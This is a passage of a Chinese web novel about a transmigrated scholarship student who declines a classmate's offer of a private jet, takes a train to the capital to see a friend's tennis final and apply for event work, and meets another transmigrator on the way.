“你喜欢什么样的酒店?别墅式?套房?需要带泳池吗?” “座位呢,想坐哪儿?正中间还是时野背后?” “需不需要望眼镜?” 太热情了,温绒眨巴眨巴眼睛,下意识看向这间陌生教室里自己唯一熟悉的那个人—— 周谢轻咳两声暗示所有人安静。 空气都沉下来,周谢淡然开口,“顺便帮我也定一份。” “好嘞。” “会长要不要顺便去骑个马,我家那边有个马场。” “去打高尔夫吧,那边有个高尔夫球场不错。” 又有很多声音,温绒被吵得脑子都迷糊了,被周谢带出教室仍然回不过神。 他不知道周谢把他带来这里弄这么一遭是什么意思,对弄不明白的场面,有种再次被“打击”的感觉,很恐怖。 “明白了吗?” 周谢在走廊上停下脚步。 温绒跟着停下,由于眼神过于清澈,已经胜过所有回答。 周谢脑子抽疼,深吸口气耐心解释:“这就是权力。直接讲你想去看时野的比赛,所有人都会用他们手上的资源帮你解决问题,不需要花钱,不需要看攻略,甚至不用考虑这个时间点还能不能买到票。” “其他人得不到这种待遇,只有你。” 温绒认真思考周谢说的话,“因为你带我进去,所以他们看在你的面子上帮我吗?” “一部分是因为我学生会会长的身份,另一部分是因为你现在是弗罗里曼学院在外界最有声望的学生。” “身份给予人权力吗?” “是,身份可以给人权力,但身份是人争取来的东西。如果你没在校庆上那样做,或者说你之前没救时竞,没在山上救那个女生,你就没有这个身份。” 温绒犹疑,“可是他们帮我买机票酒店……应该花钱了吧,他们为我花钱是想要我做什么回报他们吗?” “你做你觉得对的事就是回报。比如说你的提议促使学校改革,他们都是获利方。” 周谢过早地跟父亲一起工作,日常接触决定了他讨厌蠢货,特别是那种不懂世故的人。 但温绒一连问这么多为什么,心情却不糟糕。 脑子里冒出各种例证,继续循循善诱道,“如果你一开始就在学生会会长的位置上,那你就不用铺排校庆的那么多计划。你可以准备好材料,直接向校方提议。” 温绒侧耳认真听,某一刻神思清明,又骤然警惕,稍稍避开周谢,“你给我说这些做什么?” 周谢并不喜欢他防备的姿态,“你觉得我在害你吗?” 温绒不说话,算默认。 周谢脑子更疼,伸手摸进裤兜才想起里面没烟,不得不深吸一口气强制情绪稳定。 呼—— 他吐出一口气,“你现在的身份不是永久的,如果不再进一步,你努力争取来的权力很快就会消失。” “哦!”温绒恍然大悟,“你在劝我进学生会。” 周谢:“…………” 周谢:“嗯。” “可是我——” “这是你进入学生会的最佳时机,以后绝对不可能再有,想清楚再回答。” “可我现在还不知道自己喜不喜欢学生会。” 顿了下,“应该是适不适合。” “我问过莱昂,你学数学是因为高考成绩好。” 选课那个晚上发生的种种悄然回到温绒的脑子,可能太过刻骨铭心,心脏竟然隐隐作痛。 温绒抿唇低头,甚至想要堵住耳朵。 因为周谢说话比时野还要让人难受,他预感到周谢会说出难听的话。 可是温绒不想坐以待毙,为自己辩驳:“许秋老师也说我可以的。” “光靠别人说吗?” “……” “那我现在告诉你,你在校庆上的表现的很好,你适合进入政府工作,你会考虑吗?” “啊?”温绒瞪大眼睛,“我吗?” “你的外型有优势,口碑也已经在全联邦立了起来,现在找遍全校都找不到比你更适合的校方发言人。” 周谢继续说:“如果你进入学生会,毕业以后可以直接进入政府工作。凭着在学校的优秀履历,很有可能会成为联邦发言人。” 好大的官。 温绒脑子里只有这个想法。 过去十八年里,他见过很多政府人员,每个排场都很大,就包括校庆时,那成群结队的保镖和防弹车,看起来都好吓人。 温绒不敢想象自己竟然可以成为其中一员。 他的目标一直都是顺利毕业,找个工作,赚钱买房子,一如周谢昨天嘲笑的那样——平庸。 皙白的脖上,喉结上下一滚,“我……” “我说了不用着急回答,你现在只是在使用权力,等你享受完权力再告诉我你要不要进学生会。” 滋—— 像是安排好的,周谢手机响起来。 他低头瞥一眼屏幕,为温绒复诉内容,“他们给你找了架私人飞机,起飞日期你定,航线随时都有。酒店确实都满了,但有人在那边养了个庄园,你那天可以过去暂住。决赛的位置定在靠近时野半场的第一排。” “决赛只需要一天,周四晚上过去,可以玩到周日晚上回来。也就是说,你可以把这次当旅游,他们给你提了一些游玩项目,我发到你手机上,自己回去看。” “这、这么周到。” 这跟在商场里抽中海岛游有什么区别! 温绒被彻底砸懵。 “需要时间好好考虑吗?” “嗯……” “好好考虑,考虑清楚告诉我结果。” “好、好的。” 温绒呆呆地点头,迅速遁走。 走廊上留下周谢一个人,穿过走廊,走到窗边,视线追随温绒奔走的背影。 他已经在温绒身上下注,温绒必须进学生会。 第85章 第 85 章 林竞航:我在找人 温绒回到宿舍后先坐在椅子上发了十分钟的呆, 后摸出手机打开蓝书看了会儿,像在完成林启正规定的刷蓝书任务。 最后,任务完成, 手机一关,打开黒鸽上,向学生会提起休假申请。 啪啪啪啪 使用笔记本两个月,温绒已经可以熟练地打字。 系统搞不明白他要做什么,静静看着。 临近饭点,温绒终于从椅子上坐起,从床下翻出他的编织袋, 开始整理衣服。 原来是准备出发。 系统悉心提醒:【宿主,找周谢要个行李箱吧,你的编织袋有点……】 【太显眼了。】 温绒埋着头叠衣服, “哥哥,我比较想用这个。” 【宿主不是一直都想换行李箱吗?】 “嗯。”温绒把几件叠好的衣服塞进编织袋,“不过我想自己买。” 这一趟是去看比赛, 要带的就衣服和洗漱用品,不到十来分钟就装好。 出门前, 系统紧急叫温绒:【要不换上你的黑框眼镜吧?毕竟你现在算公众人物,身边没有保镖,出学校还是伪装一下比较好。】 “现在每个人都认识我吗?” 【嗯。】 系统想了想,又说:【不过也无所谓, 你现在算是大人物了,周谢肯定会给你找保镖。】 换下校服,重新戴上黑框眼镜,温绒偏一下头,仿佛系统就站在身侧似的。 “哥哥, 我打算自己坐火车去看比赛。” 【嗯。】 突觉不对:【等会儿?你自己去?】 “蓝书特别好用,我刚在蓝书上搜到有博主列了一套“穷游”套餐,可以不坐飞机去决赛的城市,火车班次多,就算没位置也可以买站票。” 【周谢不是给你安排飞机了吗?】 “感觉有点太贵重了,莱昂学长不在,我分不清周谢给我东西背后有没有陷阱。” 他最初站在讲台上希望大家提建议给方案,结果糖衣炮弹闷头砸下,脑子都被砸懵了,这样的心情变了质,差点被蛊惑。 幸好及时离开周谢创造的环境,冷静坐下来思考就能发现问题。 为什么呢,周谢让他享受“权力”,还不让他回报。 周谢又不是莱昂学长那样的好人,甚至连时野都比不上。 温绒组织语言向系统解释自己的疑虑,“院长教过我们,不可以接受陌生人的东西。私人飞机庄园这些东西太贵重了,我跟提供这些东西的人一点都不熟,我害怕。” 【今时不同往日,宿主现在的地位很高的,他们都是在奉承你。】 “可我卡里面还是只有一万多,地位应该没高到哪里去。而且……如果真的是奉承我,那肯定是因为我身上有利可图。” “我都不知道我有什么特别珍贵的东西。” 系统意外地沉默,第一次没有立马回复温绒,温绒以为自己惹它生气了,连忙哄它,“哥哥,你是不是也没坐过坐飞机。” 【……】 “等我以后赚钱了,咱们再去坐飞机,住庄园。” 【……】 还是沉默,房间里因此都变得格外安静。 温绒怯声问:“哥哥,你是不是生气了。” 【……】 “对不起。” 【没。】 系统没有生气,只是突然明白低配得感实际是一种保护。 宿主无依无靠,自己要他坦然接受别人的示好,反而是在犯罪。 “哥哥,你要是想坐飞机,我回来晚一点,说不定能买到票。” 系统叹气:【宿主,系统是体会不到坐飞机是什么感觉的。我刚才只是在思考你坐火车去看决赛的可能性。】 温绒才松了口气,“不用担心,我可以买站票。” 【你确定好路线了吗?】 “嗯。而且现在出发的话,中途耽搁一天也不要紧,能赶得上。” 【你到了那边住哪里?决赛的门票能进吗?】 “嗯嗯。” “网友们真的很厉害,穷游攻略里说,决赛正在招临时工,包吃包住还给工资,安保要求175以上,普通工作人员要求形象好。我两项都满足,所以我准备出发前发两份简历过去。” 【……】 只知道宿主看了攻略,没想到看得这么全……去决赛现场当保安,怎么想的啊。 【万一没选上怎么办。】 “我尽力了,办法都用了,要是还进不去,说明我本来就不该去看。到时候我就在路边看转播,等决赛结束,约时野见一面,请他吃饭祝贺他夺冠。” 【办法挺好。】 温绒眼睛弯弯,“但是被选中的可能性很大,因为我有176,还有弗罗里曼学院的学历,长得也漂亮呢。” 【而且你算是公众人物,HR肯定会优先考虑你。】 “嗯!” 计划就这样定下来,温绒把写好的简历发到举办方的联系邮箱中,拎起编织袋出门。 从弗罗里曼学院往外走半个小时,到达最近的公交车站。 因为名称是弗罗里曼学院站,这边的装修多少带着学校里的建筑风格,环境也极好,一些在弗罗里曼学院工作的人也等在这里,每个人都能找到舒适的座位。 温绒找个位置坐下,给周谢发消息道歉,谢绝那些私人飞机和酒店。 周谢大概生气了,回他三个字:[滚回来。] 温绒缩着脖子上了公交车。 …… 学生会会长办公室 “砰” “砰” “砰” 手机跟鱼似的,在地板上挣扎着弹两下才躺平,周身出现蛛网一样的纹路——碎了。 李奥吓一大跳。 他还是第一次看见表哥这么生气,阴沉沉的脸怎么能不算表情管理,至少现在满面怒容对比下,以前算是控制得极好的。 “怎么了。”李奥停下手里的动作连忙问。 “温……”周谢深吸一口,叉着腰原地转身,“温……” “温绒怎么了?” “他跑了!” “……”李奥麻木地动了动嘴,“跑了?” “鬼知道。” 李奥听不明白,但在自家表哥用座机打电话到遥远的原始森林骂了莱昂一通,又打电话给时野骂一通后,终于有点头绪。 原来是温绒拒绝安排的私人飞机,自己想办法去决赛现场了。 不是说机票酒店都没了吗? “他怎么去?去了住哪?” 问到关键了,周谢的火气降下,骂声也停止,电话传来时野暴躁的声音,“艹!你怎么还没把奖学金给他,效率这么低,你这个会长当得……你行不行,不行我来当。” “滚。”周谢骂了一声,挂断电话。 随即揉眉心,“李奥,你后台查一下火车票,看看他坐的哪一班车,找两个保镖到终点站拦住他。” 李奥心想,有必要吗,温绒一个成年男生,自己坐火车能遇到什么危险。 转念一想,糟了,温绒现在算是公众人物,去到人群里肯定会引起骚乱。 正要进火车站系统后台,周谢又说:“不行,你现在就找两个人到火车站去,看到温绒就给他摁住,别让他走。” “好。” “收拾东西,我现在也过去。” “嗯……嗯?现在?” 办公室电话又响,周谢眉头紧皱,看一眼来电便迅速挂断。 李奥猜,那串电话不是莱昂就是时野。 下一秒,李奥的手机开始响。? 还没来得及接,电脑就弹出语音通话请求。 是群语音。 在时野在四人的群里提了邀请全员语音的申请。 李奥点一下“同意”,炸弹似的喧嚣从那头传来,他下意识捂住耳朵。 这么急吗?在赛场上还打语音。 “不是,周谢你神经病啊?要私人飞机我自己不会给他安排吗?他不想要你还敢骂他?你才有病。” 周谢:“傻子才会放着私人飞机不坐去坐火车。” 时野还没来得及反驳,语音里跳出一个本不该出现的声音。 “周谢,通过回校申请单,我现在坐直升机回来。” 时野的怒火转个弯,平息一半,“你怎么进来了,你不是在——” 莱昂打断他,“打好你的比赛。别到时候温绒抵达现场,结果你坐观众席。” “艹!” 时野被莱昂这一刺激,立马结束语音。 如果三人正在看网球公开赛直播,大概可以看到时野走进网球场,观众席沸反盈天。 “你那边怎么会有网。”李奥震惊。 “有台电脑可以连外网。” 是有台,但那是研究基地领导的! 哦,忘记了。 莱昂他妈就是那位领导。 李奥无语地看向自己表哥。 周谢已经摘下眼镜,鼻梁上留下鼻托印出的红色。 “按照他这种性格,以后去研究基地,绝对大半夜收拾东西横跨原始森林。” 莱昂笑了声,问:“你知道为什么富二代砸钱依然追不到姑娘吗?” 李奥预感不妙,迅速挂断语音防止莱昂口出恶言。 莱昂:[因为富二代是个下半身思考的煞笔。]- 温绒顺利抵达火车站。 虽然他拎着编织袋行走在行李箱之间就像个异类,但这样的打扮反而成了最好的伪装,几乎没有人会主动凑近他,并发现他就是“弗罗里曼学院的特招生”。 温绒从门口一路询问工作人员,顺利找到卖票口,买一张站票,再次跟着工作人员的指引顺利坐上火车。 蓝书上说站票看到没人坐的座位随便坐,等人来了就站着,要么就去霸占两节火车中间的位置。 温绒选择后者,找到两节火车中间的位置站好,望向窗外,“哥哥,坐火车也不错,我还是第一次坐火车。” 【坐火车可以看沿途风景。】 “嗯!” 滋—— 手机响,主办方HR看见了他的简历,回邮件问他现在是否方便面试。 温绒看了眼自己的火车抵达时间,给对方讲了自己在火车上,约在下火车后见面。 HR回了个地址,让他到时候直接过去。 窗外风景变幻,温绒内心蓦然激动。 他产生了“远行”的感觉,从一座城市到另一座城市,去遥远的地方。 如果没有地震,或许他就会这样站在车窗前看风景,一路看到首都。 不过现在的生活也很不错。 温绒摸手机出来拍照,发到新闻社的群里,还发给通讯录里的其他人。 由于和周谢刚闹不愉快,他私心略过这个人。 只要他不知道就好了。 火车中途也会停,在新的一站有人会上车。 温绒刻意把脸面向窗外,他伪装得很好,黑框眼镜,杂乱的头发,普通的衣服。 不过能减少点被认出来的可能性都是好的,免得惹是生非。 直到中间一站。 很普通地一站,甚至上下的人都很少。 身后脚步声响,温绒的脑子里突然响起闹钟一样的响声。 【滴滴滴滴滴】 【滴滴滴滴滴】 他还以为自己手机闹,可看了手机,只有新闻社群里发来的消息。 随即终于确认这声音来自系统。 “哥哥?” 【系统提示:主角出现】 【系统提示:穿书者出现。】 【系统提示:组队成功。】 温绒骤然一愣,下意识回头。 一个身体高挑的男人低头进门。 发黄的白衣服,破旧的牛仔裤,头发凌乱,黑框眼镜,单手向后驮着个红蓝相间的大编织袋。 【宿主,这个主角怎么有点像酷哥版的你。】 “啊?” 酷哥版·温绒似乎也接收到某种信息,高大的身形蓦然一顿,黑框眼镜后面的眼珠子迅速也看向温绒。 对视一秒,男生蓦然后退,眼珠子上下转动,进行着一种让人很不舒服的审视。 而且不知道是不是温绒的错觉,周围安静下来,好像电视剧里那种恐怖场面,空气都被黑色占据,危机四伏。 “哦。”男生蓦然扯开嘴,露出尖尖的犬齿,俨然一副天然开朗的灿烂模样:“忘记这是无脑小甜文了。” 温绒:“…………” 温绒:“?” 男生挥手,“别介意啊,我刚从末世过来,习惯那些打打杀杀了。” “末世是……” “生化危机,丧尸,怪物。” 温绒浑身一抖,不由得升起恐惧,想要离这个人远点。 男生若无所觉,“我要是没猜错,你就是温绒?这个世界的剧情因为你都乱套了。” 【宿主,对方已经完成数十个穿书任务,因为积分过高,目前在各个世界里“旅游”。】 【ps:旅游,是指切入主角身份,进入各个世界享受剧情。】 温绒努力这么久才那么点积分,对方都已经因为积分过高到处玩了。 由此,温绒看他的神色从害怕变为羡慕。 “不过接下来该由我来装b了。” 温绒:“…………” 温绒觉得这个人很奇怪,但两人都是穿书的,冥冥之中注定会有所牵连,更何况对方积分很多很多,自己需要向他讨教。 于是温绒选择礼貌又谨慎地跟他问好,“你好。” “啧,你们小甜文的炮灰都这么谨慎吗?不应该啊。” “我怕……丧尸,怪物。” “哦哦哦,别怕别怕,我没把他们带来儿。”男生走近温绒,“你怎么从弗罗里曼学院出来了?你要去哪?回家?” “我出来有事。”温绒反问:“你好像还没入学。” “对啊。”男生把编织袋往地上一放,目光下移,突然乐呵,“咱俩一样啊,你也喜欢这袋子?” “嗯……” 男生没有注意到温绒的含糊,或许注意到了,但因为过于自信,并不在乎,抱胸继续说:“还不是你把剧情改了,几个主角都有了自主性,那什么破学生会会长一直卡着不给我办入学手续。” ——周谢。 温绒不知道男生说的剧情改了是改了哪里,而且这句话明显是指责,他不知道该怎么回答。 “不过我积分多,这点小事难不倒我。” “嗯?” “这里是贵族男校剧本,谁有权谁说话就好使,所以我花积分改了自己的身份,现在是下任总统王斯辰亲哥家抱错的真少爷,就是被你弄退学的那个王艾伦,他是假少爷。” “咳——” “咋了?怎么呛到了?真假少爷的剧本很常见啊。” 温绒埋下身撑着墙咳嗽,又忍不住在心里问系统:“哥哥,可以这样随便改设定吗?” 【有积分就可以。】 男生,“对了,你还不知道我叫什么吧?” “啊?” 温绒想了想,点头,“嗯。” “我叫林竞航,以后你要是再遇到其他绑定系统的人,你一定要告诉他,你见过一个叫林竞航的人。” 温绒本能地问:“为什么?” “我在找人。” “好的。” 温绒记下这件事,没打算追问,但林竞航似乎是个话唠,自己又开始说:“要是那个人对林竞航这个名字有反应,你就让他在这个世界等着我,我迟早回来找他。” “好的。” “你就不好奇我为什么找他?” 温绒小幅度摇头。 “啧,这点跟他真像,根本没有好奇心。” 温绒:“……” “不过他没你这么喜欢出风头啦,脑子比较清醒,知道怎么保护好自己。” “……” 这个人好讨厌。 第86章 第 86 章 我比你高级 后续的路程里林竞航喋喋不休讲着他在末世打丧尸的经历。 穿越沙漠遇到活人, 结果活人比丧尸还要歹毒,拦路抢劫吃人肉。 逃命的时候队友一个比一个阴险,甚至拉别人挡丧尸。 “看你是个好人我才跟你说的, 我太久没跟人说过话了。” “你都不知道末世有多无聊,我养只鸡都被丧尸感染成丧鸡。” 本来并不想听这些恐怖内容的温绒心一软,附和他:“你是怎么在那种环境下获得积分的?” “简单啊,末世剧本里积分是靠杀丧尸赚的,我把全球的丧尸都爆头了。” “好厉害。” “哪里哪里,一般厉害罢了。”林竞航风骚地撩头发,“你放心, 以后你就是我小弟,等我入学弗罗里曼学院,咱俩搞个F2当当。” 啊? “到时候就让F4给咱俩提鞋!” 想象莱昂学长被迫给自己提鞋的画面, 温绒下意识婉拒,“不好意思,我不太想。” “为什么?”林竞航大为震惊, 表情堪比小学生得知这个世界上竟然还有人不想当老大。 “我知道你是好意……可是我学习成绩很差,每天都要努力学习, 等会儿还要去工作赚钱,没时间当F2。” “你以前是不是特失败?怎么穿书了还在为生活奔波。” 虽然以前不算优秀,但对比起福利院其他小孩,温绒打心底觉得自己不算很失败。 “也……没有吧。” 林竞航露出一副“我懂了”的了然表情, “不提以前了,咱们现在重新活一次,就是想变得跟以前不一样。” 温绒知道他还是认为自己以前很失败,不过没什么辩驳的必要,沉默着等这个人继续说。 “你敢信?我以前没这么话唠, 去末世呆过后就什么都看开了。” “你在那边应该过得很幸苦。” “是啊,泥水洗澡,吃过期罐头,还要提防丧尸从地里钻出来,你给你说,那边的丧尸什么都吃,吃着吃着进化了,跟猿进化成人一样,有的智商还不低,还知道制造工具。幸好我给他们全爆头了,不然以后有可能造火箭飞到外太空去。丧尸宇航员,可不可怕。” “这边没有丧尸,你在这边可以好好生活。” “那可不行,我还要找人。” “如果我遇到这个人我会告诉他的。” “够兄弟。” 温绒想了想实操,又有点困难,总不可能见到个人都要问“你认不认识林竞航”。 于是又问:“他还有什么特征吗?” 林竞航努力想了想,眉头几乎都要皱到一块儿去,沉默好半天才说:“其实我记不清了。” “啊?” “我在末世待太久了,在末世之前还有一个恐怖游戏的剧本,要是有轮回的说法,我都活三次了,三生三世知道吗?所以把穿越前的事忘了很正常。” 可能温绒愣住的表情太像质疑,或者是林竞航心虚,他说完又着急补充,“真不怪我,系统说每个穿书者都会这样,你也是吧?” “……” “你是吧?” 炯炯目光急切地寻求认可,温绒不得不先点一下头,然后发现自己确实已经渐渐忘了穿书前的事,又肯定地点一下头。 可这样一想,就更奇怪了,“你都不记得了为什么还要找他?” “因为我喜欢他。” “嗷……” “我真的喜欢他。” “嗯……” “人死之前总要有点执念吧,我死之前的执念就是他,所以我一直都记得。你也有执念对吧。” 温绒点一下头安抚他急切寻求赞同的情绪,心里忍不住想,林竞航一定有一段刻骨铭心的爱情,经历过那么恐怖的剧情仍然忘不掉那个人,跟时野父母简直形成了惨烈的对比。 滋—— 手机震动蓦然打断温绒的感慨,屏幕跳出“莱昂”两个字。 [到终点站了吗?] 学长! 火车穿过隧道,轰隆隆巨响,车厢内全部暗下来。手机屏幕射出亮光,映出温绒的笑脸。 他后背贴着墙,两只手举着手机打字:[学长你回来了?] 莱昂:[嗯] 莱昂:[我正好也要去看时野的决赛,我们可以在1区碰个面。] 温绒没有过多思考这个“也”字的含义,满脑子都是学长回来了,还要跟自己见个面,连带着对着手机屏幕点头,又打字:[嗯嗯。] [你什么时候方便?] [我到火车站后要先去面试,面试完就可以。] [面试?] 温绒把自己投简历的事情给莱昂讲,有些兴奋,打几个字就要把手机放下看看窗外缓一缓——虽然火车还在隧道里,窗外一片漆黑。 他深吸一口气,压不住嘴角。 温绒其实有些骄傲。 因为这是他的第一份工作,而且还顺便完成了去决赛现场看时野夺冠的约定。 “你女人?” 林竞航的声音让温绒终于意识到面前还有个人,愣住了,“啊?什么?” “这么开心,明显在跟老婆聊天。” “不是不是。”温绒解释,“是我学长。” “你喜欢你学长?” “啊?没有没有。” “我想到那个人的时候跟你一模一样。”林竞航调侃,“情窦初开是这样的。” “没……” 温绒的声音减弱,因为火车终于离开隧道,光漫进来,林竞航在冲他笑。 歪着脑袋,笑容灿烂玩味儿。 即使学习过很久的微表情课程,温绒也是第一次见这样的表情,所以他应该是不懂的。 但他意外地感觉到,这一刻什么话都显得苍白,林竞航无声地说:“我看你怎么狡辩”。 手机震动,又来了消息。 莱昂:[真不错,比学长高级,学长还要花钱进去,而你去赚钱。] 莱昂:[那能不能让学长也赚个顺风车的钱补贴一下这次出游的花费,不然学长这一趟太亏了。] 温绒更加心花怒放。 得到夸奖,快乐得要飞起来。 “好兄弟,你嘴角都要压不住了,不是喜欢是什么。” 温绒咬唇,脸烫得厉害,转而发现仅仅过一座山,外面的天气竟然从阴转晴,阳光稀稀拉拉粘涌入。 他往阴影处挪一步,把手机收进口袋里,用手背凉一凉脸颊。 手机震动,学长又来了消息。 正好火车上广播响起声音 “尊敬的旅客,本列火车将在十分钟后抵达终点站,请拿好行李从火车左侧全部下车。” 到了。 温绒望向窗外,才发现风景有了变化,不再有高耸的大楼,房子独立成栋,只能看见屋顶,因为被茂密的树挡着。 这里仿佛比弗罗里曼学院的时间更快,已经彻底进入春天,阳光暖洋洋的,像温水浸过的毛巾铺在脸上。 “哇,有钱人住的地方果然永远都有这么多树。”林竞航的视线从窗外挪回温绒脸上,“我在末世的时候,资本家们也是住在这么好的地方,世外桃源一样,水电食物都充足,弹药也是,丧尸来一个死一个。” 而温绒望向窗外,看见路边巨大的广告牌,时野放大的脸放在上面,表情冷冷的超级臭屁,心里只产生陌生地方遇到熟人的亲切感。 “尊敬的旅客,本列火车已到达1区,请拿好您的行李,从火车左侧出口下车。” 温绒神思归位,拎起行李袋往外走。 因为莱昂学长发消息说,他已经在火车站门口了。 “喂——” 啊!忘记了。 温绒怪不好意思地回头跟林竞航道歉,“对不起,我着急去见我学长。” 林竞航嗤笑,“我懂我懂,不打扰你了。” 随即又摆摆手,“快去,咱们学校见。” “再见。” 温绒拎着行李袋挤进人群,撞到人了也没注意到,莽撞得像个毛头小子。 林竞航忍不住小小嘲笑一声,把行李袋单手扛到肩膀上,跟随着脑海最深处的记忆,埋头走在人群后面- 作为联邦首都,1区火车站光是占地面积就是弗罗里曼学院附近那个火车站的两倍。 人潮涌动,温绒却没有迷路。每一个走廊上方都有崭新的电子路牌,还有地图,跟着走十来分钟,就可以刷卡出站。 门边用围栏拦出一条宽阔的路给出站的人走,围栏外站着许多人,手里举着牌子:“新青年老年旅行团”、“靓仔带你玩1区”…… 温绒在乌泱泱的人海中看到一抹淡金色。 很明显,因为“凸”出来了。 莱昂学长比其他人都要高,这一点在学校时并不明显。 随即温绒发现,自己竟然也不算矮。 最后温绒得出结论,是弗罗里曼学院的平均身高太高了。 “温绒。” 已经很近了,莱昂举起手示意他。 “学长!” 温绒小跑向他冲过去,等反应过来,已经伸手抱住学长。 可能是情绪太激动,激动的时候,就是想拥抱一下。 “在跟莱昂亲亲我我之前,你是不是该给我一个说法。” 生冷的声音硬生生让周遭温度降之冰点,温绒迟疑地抬头,视线穿过莱昂的肩膀,跟沉着脸站在后面的周谢对上视线。 黑黝黝的眼珠子像是能杀人的激光,狠狠刺向他。 温绒吓得脖子一缩,把莱昂当成盾牌,惶恐地躲避周谢。 他觉得自己应该没做错。 但被抓住了,本能地有点怕。 周谢不放过他,“躲什么?你这么勇,倒是说接下来住哪,怎么去看决赛。” “……” “莱昂你放开他,让他说。” 莱昂摆了摆手,“好了 ” 随即又问温绒:“饿不饿?面试之前要不要先吃饭?” 面试! 温绒脑子两道电光滋一下连上,勇气喷薄而出。 他伸长脖子,反驳周谢:“我比你高级,我一边看比赛一边赚钱。” 第87章 第 87 章 周谢干嘛缠着温绒? “莱昂你让开。” 周谢声音都在发抖, 如果不是火车站人太多,他真的会把温绒就地解决。 莱昂不动,扶额苦笑, “温绒,周谢只是担心你的安全。你不仅是个公众人物,你还惹了王斯辰议员,他或许会像对张锦程一样对你。” 温绒闭住嘴,抱歉地低头。 莱昂又看向周谢,眼神表示“我说过他了,你可以闭嘴了”。 周谢:“……” 周谢用力忍了忍, 大概头疼,低头甩了甩脑袋,又揉眉心。 半秒后, 可能忍不住了,开口准备再次爆发,幸好人群中出现一个比莱昂还高的神秘人。 之所以神秘, 是因为这个人戴着鸭舌帽和口罩,突兀出现后第一时间拉开温绒, 自个挡在莱昂跟温绒之间。 个子很高。 像他这么高的人少见,白色的夏季运动套装外慌慌张张套件黑色冲锋衣,隔得不远,甚至能感受到肌肉迸发的热气。 所以这个人是刚从比赛场上跑出来的时野, 即使鸭舌帽下没有一头灰色头发。 莱昂跟时野沉默对视两秒,在并不友好的视线中明了,这里人来人往,绝对不是说话的好地方。 “人都到齐了,谁的车够坐?” 四人最后坐上时野的保姆车。 窗外风景变换, 聚集了全联邦富人的1区道路宽阔,温绒朝外望,除了湛蓝的遥远天际,什么都瞧不见。 总觉得缺了点什么。 随即,他反应过来,“学长,这里的楼都好矮,没有学校门口那么高的楼。” 莱昂:“嗯,当初定址的时候明确要求过建筑不允许太高,不然影响天际线风景。” “哇——” 惊叹的声音还没结束,周谢凉飕飕道,“定址的时候政府想从富豪手里多捞点钱,要求建筑物不能建太高,只能拓宽占地面积。于是每个富豪都在争面积,最后地价上涨,政府合理获得大笔资金。” 温绒:“……” 莱昂笑一笑,“周谢说的也有道理。” “间接导致1区没有任何生产力,所有粮食、材料都要从其他区运输过来,成本高物价也高,普通人无法生存。” 好像说到这方面周谢就来了兴致,没人回答也继续说:“久而久之,地域决定富人阶级紧紧抱团,全社会的阶级差距拉大,穷人攀不上富人阶级,富人接触到的穷人都是佣人司机下属这类身份。” 在周谢持续的科普中,保姆车终于抵达HR发给温绒的地址。 下车前一刻,莱昂提醒温绒:“1区公共交通不方便,我们在门口等你,等会儿面试结束给我发消息。” 温绒犹豫了下,点头。 他走下车,仰头看见来这里后见到的最高的楼,总共有7层,看宽度,跟校务楼差不多。 根据周科普的知识,温绒判断这家公司一定很有钱。 温绒最后摸出手机看了眼面试攻略,准备好自我介绍才给HR发消息- 车内 时野终于舍得摘下口罩跟鸭舌帽,露出他比赛前特地剃的板寸。 因为过往从来没剪过这么短的头发,在一起长大的人眼里过于陌生,莱昂没忍住笑,“发型不错。” 时野抬手摸光溜溜的头发,自豪道,“这样更健康。” “嗯。噗嗤——” 嘲笑太明显,时野忍不住说:“温绒特地叫我去剪的,他说这样好看。” 莱昂果然不笑了,嘴角在脸上停滞半秒,挑眉:“说明你在长相方面进步空间还很大。” 时野不甘示弱:“你没得到建议,说明你没救了。” “为什么不是说他对我很满意。” “艹!他能对你满意哪——” 周谢出声打断两人:“快20了,终于要像小学生一样斗嘴了吗?” 时野跟莱昂一人看一个方向,不说话。 周谢低着下巴,眼珠子上挑,“莱昂,你打算就这样惯着温绒吗?他现在根本不想进学生会。” 莱昂回头来摊手,“你看不出温绒是个执拗的人吗?” “他最听你的话,你应该劝他。” 时野表情骤然紧绷,“谁说的——” 周谢冷眼瞥过去,“正常人都看得出来温绒跟他关系好。” “我跟温绒关系也好。” “哦。”周谢敷衍一声,继续跟莱昂说:“你该让他清楚,他那不安分的性格根本不可能去研究基地。” “我劝要是管用,现在我跟他已经确定关系了。” 莱昂想到温绒说“那我不结婚就好了”的画面,太阳穴突突地疼。 周谢怎么敢在电话里说温绒老跟他对着干,明明温绒也爱跟自己对着干。 这样的对话里,只有得知“情敌攻略温绒失败”的时野还有好脸色,翘起二郎腿,悠闲又大度地说:“温绒喜欢做什么就做什么,你管他干什么,管好你自己。” “如果莱昂不说那堆话谁管他!” 周谢深吸口气,怒火再次上涌,“傻子才会放着私人飞机不坐要坐火车。” “你骂他什么——”时野长臂一伸手就抓到周谢的领子,“你才傻子。” 莱昂假模假样伸手拦了拦时野,话头对准周谢:“你但凡尊重温绒一点,事先了解他的性格再行动,都不会把事情弄得这么糟。” “我?”周谢难以置信,大概还是第一次被人质疑办事能力。 “你甚至都不知道他的物欲很低……时野,放开周谢,我要开窗透气,别被拍到。” 时野这才松手,莱昂摁下车窗,风和阳光一起冲进来。 “他是感情方面需求很高的人。” 借着这点温度,莱昂脸上的笑容终于显得没那么僵硬。 莱昂也是那次拥抱才反应过来,为什么在温绒眼里,新闻社三人比自己重要。 ——因为新闻社的三人一直都陪在温绒身边。 很明显,温绒不需要任何物质的东西,也不需要什么刻骨铭心的付出,只需要简单的陪伴。 恰恰是自己不能给的。 莱昂不免苦笑,觉得自己被上帝捉弄了。 随时都会去封闭环境的他,竟然喜欢上高需求的人,光是想一想未来,都因为“注定分开”而感到恐惧。 “我都忘记问了,温绒来这里干嘛?” 时野突然发声。 隔了两秒,周谢也问:“他刚才说的赚钱是怎么回事?” 莱昂不知道两个人是不是刻意转开话题,不过也不重要了,他俩根本没方面的烦恼。 打消一些悲观的念头,莱昂整理情绪,把温绒给举办方投简历的事情讲给两人听。 听完,周谢无言了将近半分钟,“怎么想的。” “说是网上看了攻略。” “他难道是喊着‘劳动最光荣’的那种人吗?” 莱昂想,或许是的。但本能地想到一些带着引导性的话,“不一定是,不过他不喜欢你,肯定不会接受你给的东西。” 周谢脸色铁青。 时野反倒心花怒放,“你说他为了我去打工?” 没有一箭双雕的机会,莱昂保持沉默,把头枕到椅背上,缓慢吹着风。 兜里的手机又开始震动,大概率是研究基地打来的。 他匆匆离开,工作都没来得及交接,有很多问题还需要远程处理。 有一瞬间,莱昂的感性战胜理智。 要不现在转行去学法律,以后进法院工作好了。 与此同时,总经理办公室内,窗户紧闭,空调唰唰吹着冷风。 桌上刚端上来的热咖啡都已经不再冒热气。 